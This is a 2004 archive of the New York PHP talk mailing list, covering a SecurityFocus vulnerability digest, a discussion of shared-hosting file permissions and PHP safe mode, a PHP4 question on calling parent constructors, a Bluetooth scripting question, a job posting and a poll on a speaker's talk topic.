From danielc at analysisandsolutions.com Tue Jun 1 13:06:31 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Tue, 1 Jun 2004 13:06:31 -0400 Subject: [nycphp-talk] sf #250 Message-ID: <20040601170631.GA12046@panix.com> Hi Folks: I'm a week behind... Anyway, edition 250 of SecurityFocus' newsletter mentions a vulnerability in Apache: Apache Mod_SSL SSL_Util_UUEncode_Binary Stack Buffer Overflo... http://www.securityfocus.com/bid/10355 While that may or may not be real, I did notice that a new version of Apache's httpd server is out as of May 11. Now, on to the PHP stuff... VBulletin Index.PHP Remote File Include Vulnerability http://www.securityfocus.com/bid/10362 osCommerce File Manager Directory Traversal Vulnerability http://www.securityfocus.com/bid/10364 PHP-Nuke Modpath Parameter Potential File Include Vulnerabil... http://www.securityfocus.com/bid/10365 PHP-Nuke Multiple Input Validation Vulnerabilities http://www.securityfocus.com/bid/10367 phpMyFAQ Action Parameter Arbitrary File Disclosure Vulnerab... http://www.securityfocus.com/bid/10374 phpMyFAQ Lang Parameter Directory Traversal Vulnerability http://www.securityfocus.com/bid/10377 e107 Website System Log.PHP HTML Injection Vulnerability http://www.securityfocus.com/bid/10395 SquirrelMail Unspecified SQL Injection Vulnerability http://www.securityfocus.com/bid/10397 Later, --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From jayeshsh at ceruleansky.com Tue Jun 1 13:10:00 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Tue, 01 Jun 2004 13:10:00 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? Message-ID: <40BCB868.20308@ceruleansky.com> Hello all, I have been looking for a virtual private server, or another shared server hosting provider. I have been doing some research, and came across Pair Networks ( www.pair.com ). They have been around for quite some time (since 1996, I think) and seem to have a good reputation. I was about to sign up for one of their high-end shared hosting plans (especially since their control panel looked both easy-to-use and flexible), and then I came across this bit of information buried in one of their FAQ pages: ------ http://pair.com/support/knowledge_base/frequently_asked_questions/security.html#4 "I was logged into my account, and when I went up one level from my home or Web directory, I could see everyone else's files! This is a normal and reasonable security model. Files which are published by the Web server need to be publicly accessible, as the Web server software runs without any special privileges. Your files will not be subject to modification by other users on the server unless you have set the permissions specifically to allow that, or if the files have been created through CGI scripts running as user "nobody". Read more about file permissions. You can protect script source code through the use of "cgiwrap", and if you prefer security through obscurity, you may set permissions in a way that blocks casual browsing by other users. Details are available in our Support Resources. Being able to see a file does not mean you can modify it." ------ If I understand correctly, what they are saying is that if I sign up for an account with them, ANY of their other 150,000 customers will be able to READ all of my web files, including PHP source code and database passwords. They seem to have a clumsy workaround called php-cgiwrap: http://pair.com/support/knowledge_base/authoring_development/system_cgi_php-cgiwrap.html I don't know, but this "security model" seems ANYTHING BUT "normal and reasonable" to me. In my current setup, a domain can be mapped to a directory in a certain user's root directory. Only that user can access any of the files in that user's directory. Pair's method of hosting seems totally insecure and inflexible, and their workaround seems like a real pain in the you know where. Does anyone else have another opinion on this? Best Regards, - Jay From csnyder at chxo.com Tue Jun 1 13:18:53 2004 From: csnyder at chxo.com (Chris Snyder) Date: Tue, 01 Jun 2004 13:18:53 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? In-Reply-To: <40BCB868.20308@ceruleansky.com> References: <40BCB868.20308@ceruleansky.com> Message-ID: <40BCBA7D.2090203@chxo.com> Jayesh Sheth wrote: > In my current setup, a domain can be mapped to a directory in a > certain user's root directory. Only that user can access any of the > files in that user's directory. How does the webserver (Apache?) access the files? Surely they are readable by the 'nobody' or 'www' user... which means that anyone who can run a script via the webserver can read any other script that can be run by the webserver. > Pair's method of hosting seems totally insecure and inflexible, and > their workaround seems like a real pain in the you know where. It's unfortunately standard. Mass virtual hosting is insecure by nature, and that's fine for most people. If you have data you want to protect, you need to consider a dedicated server -- or a jail-able system like FreeBSD. chris. From dmintz at davidmintz.org Tue Jun 1 13:19:26 2004 From: dmintz at davidmintz.org (David Mintz) Date: Tue, 1 Jun 2004 13:19:26 -0400 (EDT) Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? In-Reply-To: <40BCB868.20308@ceruleansky.com> References: <40BCB868.20308@ceruleansky.com> Message-ID: On Tue, 1 Jun 2004, Jayesh Sheth wrote: > > In my current setup, a domain can be mapped to a directory in a certain > user's root directory. Only that user can access any of the files in > that user's directory. Then the web server is also running as that user? > Pair's method of hosting seems totally insecure > and inflexible, and their workaround seems like a real pain in the you > know where. It works for me, I've been a customer for a while. Shared hosting entails certain inherent security risks and you have to take steps to mitigate them. Shiflett has a nice piece about that kinda stuff in the latest issue PHP Architect which they were handing out free-as-in-beer at the last NYPHP meeting (-: --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From danielc at analysisandsolutions.com Tue Jun 1 13:28:46 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Tue, 1 Jun 2004 13:28:46 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? In-Reply-To: <40BCB868.20308@ceruleansky.com> References: <40BCB868.20308@ceruleansky.com> Message-ID: <20040601172846.GA18032@panix.com> Hi Jayesh: In a shared environment, if there are files you MUST keep from being read (for instance, passwords for database connections, etc) chmod them to be only readable by you and then configure the scripts that do need database access to execute as a CGI script. I do this all the time. One way for ISP's to reduce exposure is to put all users into a group and have all files on the web server put into that group and set the mask to make files not readable/writeable/executable by "group" but readable by "other" so the web server can get to them. Enjoy, --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From tgales at tgaconnect.com Tue Jun 1 13:38:48 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Tue, 1 Jun 2004 13:38:48 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be thisbad? In-Reply-To: Message-ID: <003901c447ff$4c1bcf20$e98d3818@oberon1> David Mintz writes: > Shiflett has a nice piece about that kinda stuff in the > latest issue PHP Architect which they were handing out > free-as-in-beer at the last NYPHP meeting (-: Better than that Chris Shiflett has agreed to give a seminar on security Thursday evening, June 24 -- mark your calendars. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From jayeshsh at ceruleansky.com Tue Jun 1 14:30:21 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Tue, 01 Jun 2004 14:30:21 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? Message-ID: <40BCCB3D.7070408@ceruleansky.com> Hello all, thanks for all of your quick replies. To clarify on my current setup: I am not an expert on UNIX permission and such things, but here is my (limited) understanding of how it might work: - from the control panel, you can add an FTP or shell user - from the control panel, a domain is mapped to either of those user's files - when you setup a domain, you can choose whether PHP scripts are run an apache module (aka "running as Apache") OR as CGI (aka "running as my user") - when you FTP in, you cannot go "up" and browse a list of other user's directories, since you are in the root directory of the account into which you FTPed - scripts are disabled from reading outside of their domain-files directory (something is changed in PHP's configurationhere ) ["open_basedir Restrictions in effect, file is in wrong directory"] - scripts cannot access external programs ["backticks (``), system(), exec(), passthru()" are disabled] More information on the shared server's configuration: https://panel.dreamhost.com/kbase/index.cgi?area=2526&keyword=security So, as far as I know, files placed in a certain shell or FTP user's accounts are private. Please correct me if this seems incorrect. Best Regards, - Jay From jayeshsh at ceruleansky.com Tue Jun 1 14:38:49 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Tue, 01 Jun 2004 14:38:49 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? Message-ID: <40BCCD39.1070609@ceruleansky.com> Hello all, to supplement my previous reply, here is more link explaining my current (shared hosting) setup: https://panel.dreamhost.com/kbase/index.cgi?area=144 This link explains things about "suexec". Best Regards, - Jay From wkamm at att.com Tue Jun 1 14:46:14 2004 From: wkamm at att.com (Kamm, William R (Bill), ALABS) Date: Tue, 1 Jun 2004 13:46:14 -0500 Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? Message-ID: I agree with Jay, When I ftp or ssh into my account at boxnix, the root directory is the home directory of my account. I can't "cd ..". I just end up at the root level, and can only see my files. How could anyone else with a different account have access to my files? Bill -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Jayesh Sheth Sent: Tuesday, June 01, 2004 2:30 PM To: talk at lists.nyphp.org Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? Hello all, thanks for all of your quick replies. To clarify on my current setup: I am not an expert on UNIX permission and such things, but here is my (limited) understanding of how it might work: - from the control panel, you can add an FTP or shell user - from the control panel, a domain is mapped to either of those user's files - when you setup a domain, you can choose whether PHP scripts are run an apache module (aka "running as Apache") OR as CGI (aka "running as my user") - when you FTP in, you cannot go "up" and browse a list of other user's directories, since you are in the root directory of the account into which you FTPed - scripts are disabled from reading outside of their domain-files directory (something is changed in PHP's configurationhere ) ["open_basedir Restrictions in effect, file is in wrong directory"] - scripts cannot access external programs ["backticks (``), system(), exec(), passthru()" are disabled] More information on the shared server's configuration: https://panel.dreamhost.com/kbase/index.cgi?area=2526&keyword=security So, as far as I know, files placed in a certain shell or FTP user's accounts are private. Please correct me if this seems incorrect. Best Regards, - Jay _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From csnyder at chxo.com Tue Jun 1 14:51:35 2004 From: csnyder at chxo.com (Chris Snyder) Date: Tue, 01 Jun 2004 14:51:35 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? In-Reply-To: <40BCCB3D.7070408@ceruleansky.com> References: <40BCCB3D.7070408@ceruleansky.com> Message-ID: <40BCD037.5020609@chxo.com> Jayesh Sheth wrote: > - scripts are disabled from reading outside of their domain-files > directory (something is changed in PHP's configurationhere ) > ["open_basedir Restrictions in effect, file is in wrong directory"] Yes, this is commonly known as "safe mode" php, and it was implemented to solve this very problem. Can you run scripts written in other languages, though? Perl, or even shell scripts, *might* be able to access other areas... Calling your scripts via CGI (where that allows them to be run suid) allows you to set them so that they are only readable by you -- this provides as high a level of protection as you can reasonably ask for. There is a performance hit, but on a shared server that's probably not an issue, especially as it is most likely tuned to support the extra processes. From your updated description it sounds like the ISP is taking a responsible approach, and at least giving you the option of making sure things are locked down. The only other question I would ask is whether you can use SFTP or SCP in place of FTP -- if someone can eavesdrop your password it doesn't matter how secure the filesystem is! From csnyder at chxo.com Tue Jun 1 14:59:04 2004 From: csnyder at chxo.com (Chris Snyder) Date: Tue, 01 Jun 2004 14:59:04 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? In-Reply-To: References: Message-ID: <40BCD1F8.8090303@chxo.com> Kamm, William R (Bill), ALABS wrote: >I agree with Jay, When I ftp or ssh into my account at boxnix, the root >directory is the home directory of my account. I can't "cd ..". I just >end up at the root level, and can only see my files. How could anyone >else with a different account have access to my files? > This degree of protection is not standard or default, especially with ssh. In, er, less developed operations they may not be using a chroot'd ssh or shell. Anyway, unless the webserver is restricted to your home directory, too (unlikely), someone might be able to use the webserver to do their dirty work for them: Again, that's what safe mode protects against. From webmaster at localnotion.com Tue Jun 1 15:22:05 2004 From: webmaster at localnotion.com (Matthew Terenzio) Date: Tue, 1 Jun 2004 15:22:05 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? In-Reply-To: References: Message-ID: cd may bring you to your home but certainly you can cd /tmp or cd /usr/local/www for instance. I know this to be true at Pair, as I once had an account there. On Jun 1, 2004, at 2:46 PM, Kamm, William R (Bill), ALABS wrote: > I agree with Jay, When I ftp or ssh into my account at boxnix, the > root > directory is the home directory of my account. I can't "cd ..". I > just > end up at the root level, and can only see my files. How could anyone > else with a different account have access to my files? > > Bill > > -----Original Message----- > From: talk-bounces at lists.nyphp.org > [mailto:talk-bounces at lists.nyphp.org] > On Behalf Of Jayesh Sheth > Sent: Tuesday, June 01, 2004 2:30 PM > To: talk at lists.nyphp.org > Subject: [nycphp-talk] Pair Network's "security" model - could it be > this > bad? > > > Hello all, > > thanks for all of your quick replies. > > To clarify on my current setup: > > I am not an expert on UNIX permission and such things, but here is my > (limited) understanding of how it might work: > > - from the control panel, you can add an FTP or shell user > > - from the control panel, a domain is mapped to either of those user's > files > > - when you setup a domain, you can choose whether PHP scripts are run > an > > apache module (aka "running as Apache") OR as CGI (aka "running as my > user") > > - when you FTP in, you cannot go "up" and browse a list of other user's > directories, since you are in the root directory of the account into > which you FTPed > > - scripts are disabled from reading outside of their domain-files > directory (something is changed in PHP's configurationhere ) > ["open_basedir Restrictions in effect, file is in wrong directory"] > > - scripts cannot access external programs ["backticks (``), system(), > exec(), passthru()" are disabled] > > More information on the shared server's configuration: > > https://panel.dreamhost.com/kbase/index.cgi?area=2526&keyword=security > > So, as far as I know, files placed in a certain shell or FTP user's > accounts are private. > > Please correct me if this seems incorrect. > > Best Regards, > > - Jay > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From nyphp at enobrev.com Tue Jun 1 17:34:08 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Tue, 1 Jun 2004 17:34:08 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be thisbad? In-Reply-To: Message-ID: <20040601213417.9711AA862F@virtu.nyphp.org> > I agree with Jay, When I ftp or ssh into my account at > boxnix, the root directory is the home directory of my > account. I can't "cd ..". I just end up at the root level, > and can only see my files. How could anyone else with a > different account have access to my files? Hey Bill, I've been with Boxnix almost 2 years now and have worked with them quite a bit. They put a lot of time into ensuring their virtual hosts are really secure. Their servers seem to get tighter and tighter, but whiles staying developer friendly all the time. All their accounts have been sandboxed incredibly well. 'nobody' no longer exists on their servers, as all your scripts run as 'you' (your login). They explained it to me at some point, but it's been a while. I haven't tested to any serious degree, but from what I've seen thus far, you can't get out of your sandbox and into others. I tend to highly recommend them quite often. P.S. I've worked with them before as a freelance developer... So, I am biased, but that's due to good service and good people. I don't get anything for recommending them, nor would I have worked with them if they sucked. Mark From jayeshsh at ceruleansky.com Tue Jun 1 19:51:17 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Tue, 01 Jun 2004 19:51:17 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? Message-ID: <40BD1675.4050701@ceruleansky.com> Thanks for the good responses and tips, Chris (Snyder). My host does not have SFTP support, but they offer a VPN option for extra amount per month. I just found this page which (humorously) refers to the two of the things you mentioned (using SFTP and chrooting users): http://chrootssh.sourceforge.net/ Also, I belatedly noticed that Daniel's (Convissor) page on UNIX permissions is linked from host's knowledge base: http://www.analysisandsolutions.com/code/chmod.htm It is a good document. I really need to read up on all this "user", "group" and "other" stuff (!) It can get a bit confusing. Now I know why Windows by default is insecure - it's just easier. The only (and scary) thing is - when I am on shared host, it's not that ha-ha to find out that other users could be snooping through my source code or db password. That's almost like open source by coercion. I feel that webhosting providers which specialize in shared hosting should be upfront in the security policies they follow - and in the case of setups such as Pair Networks', alert users in all ways possible to use php-cgiwrap (or whatever other abstruse method is required) to keep data private. Many non-developers (including static HTML coders and graphic designers) don't have the slightest idea about chroot, SSH, shell users, permissions and such. It seems that any webhosted interested in being present for the long term and in the security of its user's data would take a better approach. I know, it seems like I am bashing Pair, when I fact I thought they were quite cool until yesterday. It could just be my ignorance on the subject showing - that I am perhaps more outraged at my own previously lack of interest (or ignorance) on the subject of security that at Pair's shared hosting setup. I guess what Chris was saying was that it is the norm for shared hosting providers to be lax about security and that therefore it is the customer's job to worry about whether his data is safe. I know, all my ranting on this subject does make me look like a paranoid freak (something my brother has joked about on more than one occassion). I am really not that way - see, I use Windows on the desktop, I don't dream about compiling my version of PHP, or security jails. It's just ... Best Regards, - Jay From jonbaer at jonbaer.net Wed Jun 2 09:33:19 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Wed, 02 Jun 2004 09:33:19 -0400 Subject: [nycphp-talk] PHP/Bluetooth/Serial Message-ID: <40BDD71F.4000501@jonbaer.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 greetings ... ive been playing around with a few classes in Ruby/Perl which deal with AT messages to my t68i (which runs on other phones as well), then i was able to find btcontrold which was even better (to send messages to xse (XSendEvent cli) for controlling presentations) ... basically you can create a menu on the phone and send something like @php /path/to/script.php and read back results which can be use for small messages/notes. anyways, many of the classes deal with writing directly to serial (/dev/rfcomm0) which php can do but i havent seen many classes that deal directly w/ devices, are there any in php? i had considered taking the ruby "driver" i found and wrapping it in PHP_FUNCTION()'s for a module but thought it would be overkill to create an extension. has anyone seen any php code like this? what im trying to envision doing is something like: $phone = new Phone("t68i"); $phone->addNewMenu($menu, $evnt); $phone->showMenu($menu); ... then event handlers ... - - jon - -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFAvdcfQdvbi5oMr0cRAnmrAKCFn/6A10keEfFwxHe9Ryt9YsiO/gCgwetd K5obb6bvdhYUsb0SH/SEVWo= =MOMd -----END PGP SIGNATURE----- From jayeshsh at ceruleansky.com Wed Jun 2 10:00:04 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Wed, 02 Jun 2004 10:00:04 -0400 Subject: [nycphp-talk] "mod PHP" vs. PHP Message-ID: <40BDDD64.9050400@ceruleansky.com> Hello all, I have a somewhat stupid question: what's the difference between "mod PHP" and PHP? I was looking the specifications from a hosting provider, and they mentioned supporting "mod PHP" instead of "PHP": http://www.jumpline.com/vds_hosting_compare.php (BTW, their affordable "sandboxed" shared server architecture may be of interest to those people following yesterday's discussion.) Best Regards, - Jay PS: Please forgive my incoherent posts from yesterday. I would do well to proofread things before I click the "send" button. From jayeshsh at ceruleansky.com Wed Jun 2 10:23:24 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Wed, 02 Jun 2004 10:23:24 -0400 Subject: [nycphp-talk] "mod PHP" vs. PHP Message-ID: <40BDE2DC.4010402@ceruleansky.com> Hello, here's a quick followup from my previous question. Anyone who followed my previous link to Jumpline - don't sign up with them. I did some research, and it seems they have a bad reputation with customer service (with some customers threatening a class action suit against them). http://www.webhostingratings.com/plans/Jumpline_com-Reviews.html I guess I will try out Boxnix. - Jay From phillip.powell at adnet-sys.com Wed Jun 2 10:48:04 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Wed, 02 Jun 2004 10:48:04 -0400 Subject: [nycphp-talk] Does PHP have an equivalent to super()? Message-ID: <40BDE8A4.7020902@adnet-sys.com> [PHP] mySuperClassVar = $myVar; echo "super class var = $myVar

"; } } class SubClass extends SuperClass { var $mySubClassVar; function SubClass($myVar) { // super('hello world?')??? $this->mySubClassVar = $myVar; echo "sub class var = $myVar

"; } } $obj =& new SubClass('what is up with your bad self'); ?> [/PHP] [output] hello world what is up with your bad self [/output] I am interested in finding out if PHP has an equivalent to the Java "super" keyword that evokes methods or constructor of the class' parent class. I can't find anything online on this and hoped maybe one of you guys came up with a nice workaround for this in PHP 4.3.2+ that I could learn. Or point me in the right, open-source, direction for me to figure this out. Thanx Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From Cbielanski at inta.org Wed Jun 2 10:49:03 2004 From: Cbielanski at inta.org (Chris Bielanski) Date: Wed, 2 Jun 2004 10:49:03 -0400 Subject: [nycphp-talk] Does PHP have an equivalent to super()? Message-ID: Phil, I think you want "parent::foo();", right? Thanks, Chris Bielanski Web Programmer, International Trademark Association, 1133 Avenue of the Americas, 33rd Floor New York, NY 10036 +1 (212) 642-1745, f: +1 (212) 768-7796 mailto:cbielanski at inta.org, www.inta.org INTA -- 125 Years of Excellence > -----Original Message----- > From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] > Sent: Wednesday, June 02, 2004 10:48 AM > To: NYPHP Talk > Subject: [nycphp-talk] Does PHP have an equivalent to super()? > > > [PHP] > > class SuperClass { > > var $mySuperClassVar; > > function SuperClass($myVar) { > $this->mySuperClassVar = $myVar; > echo "super class var = $myVar

"; > } > > } > > class SubClass extends SuperClass { > > var $mySubClassVar; > > function SubClass($myVar) { > // super('hello world?')??? > $this->mySubClassVar = $myVar; > echo "sub class var = $myVar

"; > } > > } > > $obj =& new SubClass('what is up with your bad self'); > > ?> > [/PHP] > > [output] > hello world > what is up with your bad self > [/output] > > I am interested in finding out if PHP has an equivalent to the Java > "super" keyword that evokes methods or constructor of the > class' parent > class. I can't find anything online on this and hoped maybe > one of you > guys came up with a nice workaround for this in PHP 4.3.2+ > that I could > learn. Or point me in the right, open-source, direction for me to > figure this out. > > Thanx > Phil > > -- > -------------------------------------------------------------- > ------------------- > Phil Powell > Multimedia Programmer > BPX Technologies, Inc. > #: (703) 709-7218 x107 > Fax: (703) 709-7219 > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From andrew at digitalpulp.com Wed Jun 2 11:05:58 2004 From: andrew at digitalpulp.com (Andrew Yochum) Date: Wed, 2 Jun 2004 11:05:58 -0400 Subject: [nycphp-talk] Does PHP have an equivalent to super()? In-Reply-To: <40BDE8A4.7020902@adnet-sys.com> References: <40BDE8A4.7020902@adnet-sys.com> Message-ID: <20040602150544.GM16460@thighmaster.digitalpulp.com> On Wed, Jun 02, 2004 at 10:48:04AM -0400, Phillip Powell wrote: > [PHP] > > class SuperClass { > > var $mySuperClassVar; > > function SuperClass($myVar) { > $this->mySuperClassVar = $myVar; > echo "super class var = $myVar

"; > } > > } > > class SubClass extends SuperClass { > > var $mySubClassVar; > > function SubClass($myVar) { > // super('hello world?')??? > $this->mySubClassVar = $myVar; > echo "sub class var = $myVar

"; > } > > } > > $obj =& new SubClass('what is up with your bad self'); > > ?> > [/PHP] > > [output] > hello world > what is up with your bad self > [/output] > > I am interested in finding out if PHP has an equivalent to the Java > "super" keyword that evokes methods or constructor of the class' parent > class. I can't find anything online on this and hoped maybe one of you > guys came up with a nice workaround for this in PHP 4.3.2+ that I could > learn. Or point me in the right, open-source, direction for me to > figure this out. Its not quite the same as "super" because its not generic but this works: class SubClass extends SuperClass { var $mySubClassVar; function SubClass($myVar) { parent::SuperClass('hello world?'); $this->mySubClassVar = $myVar; echo "sub class var = $myVar

"; } } PHP 5 offers unified constructors using the __construct() method, which will allow you to generically call parent::__construct() and get the constructor in every case. HTH, Andrew From phillip.powell at adnet-sys.com Wed Jun 2 11:02:13 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Wed, 02 Jun 2004 11:02:13 -0400 Subject: [nycphp-talk] Does PHP have an equivalent to super()? In-Reply-To: References: Message-ID: <40BDEBF5.5040706@adnet-sys.com> Chris Bielanski wrote: >Phil, I think you want "parent::foo();", right? > > >Thanks, >Chris Bielanski >Web Programmer, >International Trademark Association, >1133 Avenue of the Americas, 33rd Floor >New York, NY 10036 >+1 (212) 642-1745, f: +1 (212) 768-7796 >mailto:cbielanski at inta.org, www.inta.org >INTA -- 125 Years of Excellence > > > > > >>-----Original Message----- >>From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] >>Sent: Wednesday, June 02, 2004 10:48 AM >>To: NYPHP Talk >>Subject: [nycphp-talk] Does PHP have an equivalent to super()? >> >> >>[PHP] >>> >> class SuperClass { >> >> var $mySuperClassVar; >> >> function SuperClass($myVar) { >> $this->mySuperClassVar = $myVar; >> echo "super class var = $myVar

"; >> } >> >> } >> >> class SubClass extends SuperClass { >> >> var $mySubClassVar; >> >> function SubClass($myVar) { >> // super('hello world?')??? >> $this->mySubClassVar = $myVar; >> echo "sub class var = $myVar

"; >> } >> >> } >> >> $obj =& new SubClass('what is up with your bad self'); >> >>?> >>[/PHP] >> >>[output] >> hello world >> what is up with your bad self >>[/output] >> >>I am interested in finding out if PHP has an equivalent to the Java >>"super" keyword that evokes methods or constructor of the >>class' parent >>class. I can't find anything online on this and hoped maybe >>one of you >>guys came up with a nice workaround for this in PHP 4.3.2+ >>that I could >>learn. Or point me in the right, open-source, direction for me to >>figure this out. >> >>Thanx >>Phil >> >>-- >>-------------------------------------------------------------- >>------------------- >>Phil Powell >>Multimedia Programmer >>BPX Technologies, Inc. >>#: (703) 709-7218 x107 >>Fax: (703) 709-7219 >> >> >> >>_______________________________________________ >>talk mailing list >>talk at lists.nyphp.org >>http://lists.nyphp.org/mailman/listinfo/talk >> >> >> >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > Wow, I'm sorry, I flat out did not even know that one, got caught blind-sided, thanx Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From dcech at phpwerx.net Wed Jun 2 11:21:14 2004 From: dcech at phpwerx.net (Dan Cech) Date: Wed, 02 Jun 2004 11:21:14 -0400 Subject: [nycphp-talk] Does PHP have an equivalent to super()? In-Reply-To: <20040602150544.GM16460@thighmaster.digitalpulp.com> References: <40BDE8A4.7020902@adnet-sys.com> <20040602150544.GM16460@thighmaster.digitalpulp.com> Message-ID: <40BDF06A.8020603@phpwerx.net> Andrew Yochum wrote: > Its not quite the same as "super" because its not generic but this works: > class SubClass extends SuperClass { > > var $mySubClassVar; > > function SubClass($myVar) { > parent::SuperClass('hello world?'); > $this->mySubClassVar = $myVar; > echo "sub class var = $myVar

"; > } > > } > > PHP 5 offers unified constructors using the __construct() method, which will > allow you to generically call parent::__construct() and get the constructor in > every case. One workaround for constructor names in php4 is as follows: class SubClass extends SuperClass { var $mySubClassVar; function SubClass($myVar) { $constructor = get_parent_class($this); parent::$constructor('hello world?'); $this->mySubClassVar = $myVar; echo "sub class var = $myVar

"; } } This should work in every case. Dan From nyphp at websapp.com Wed Jun 2 13:38:55 2004 From: nyphp at websapp.com (Daniel Kushner) Date: Wed, 2 Jun 2004 13:38:55 -0400 Subject: [nycphp-talk] Senior Developer - Job Offer Message-ID: <200406021738.i52HcuGb016628@ns5.oddcast.com> Please Contact: rkapoor at intelcs.com ==================================================================== Hi Daniel, Basically this requirement came out of our sales office. This internet company needs senior level php/mysql programmer. Not looking for someone who just knows php but pretty much have good experience. The work is to be done in creating interfaces and reporting using heavy php and interacting with mysql database. Send me the r?sum? at this email address so that I can look over and setup an interview as soon as possible by end of the week. Thanks Raj Kapoor Intellectual Capital Services 212-736-3333 ==================================================================== >From hans not junk at nyphp.com Wed Jun 2 13:45:15 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id C0A9CA860A for ; Wed, 2 Jun 2004 13:45:14 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 2 Jun 2004 10:45:11 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702512053 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: June's Presentation with George Schlossnagle Thread-Index: AcRIyVkBF32z+VkUS2OS6uMqvwjDFg= From: "Hans Zaunere" To: "NYPHP Talk" Subject: [nycphp-talk] June's Presentation with George Schlossnagle X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Jun 2004 17:45:15 -0000 We have a very special guest speaker in June, George Schlossnagle. He's asked me to ping this list to determine which talk people would be most interested in. 'High Performance PHP' 'PHP5 OOP through Patterns' Please let me know ASAP. --- Hans Zaunere President New York PHP http://nyphp.org From tgales at tgaconnect.com Wed Jun 2 13:52:59 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Wed, 2 Jun 2004 13:52:59 -0400 Subject: [nycphp-talk] June's Presentation with George Schlossnagle In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702512053@ehost011-1.exch011.intermedia.net> Message-ID: <000e01c448ca$71e3ba80$e98d3818@oberon1> Hans Zaunere writes: >...which talk people would be most interested in. > > 'High Performance PHP' > 'PHP5 OOP through Patterns' > > Please let me know ASAP. I don't know about most people -- I'd rather he talk about PHP 5 T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From crisscott at netzero.com Wed Jun 2 13:54:08 2004 From: crisscott at netzero.com (Scott Mattocks) Date: Wed, 02 Jun 2004 13:54:08 -0400 Subject: [nycphp-talk] June's Presentation with George Schlossnagle In-Reply-To: <000e01c448ca$71e3ba80$e98d3818@oberon1> References: <000e01c448ca$71e3ba80$e98d3818@oberon1> Message-ID: <40BE1440.9030600@netzero.com> > I don't know about most people -- > I'd rather he talk about PHP 5 +1 Scott Mattocks From andrew at digitalpulp.com Wed Jun 2 14:10:32 2004 From: andrew at digitalpulp.com (Andrew Yochum) Date: Wed, 2 Jun 2004 14:10:32 -0400 Subject: [nycphp-talk] June's Presentation with George Schlossnagle In-Reply-To: <40BE1440.9030600@netzero.com> References: <000e01c448ca$71e3ba80$e98d3818@oberon1> <40BE1440.9030600@netzero.com> Message-ID: <20040602181024.GO16460@thighmaster.digitalpulp.com> On Wed, 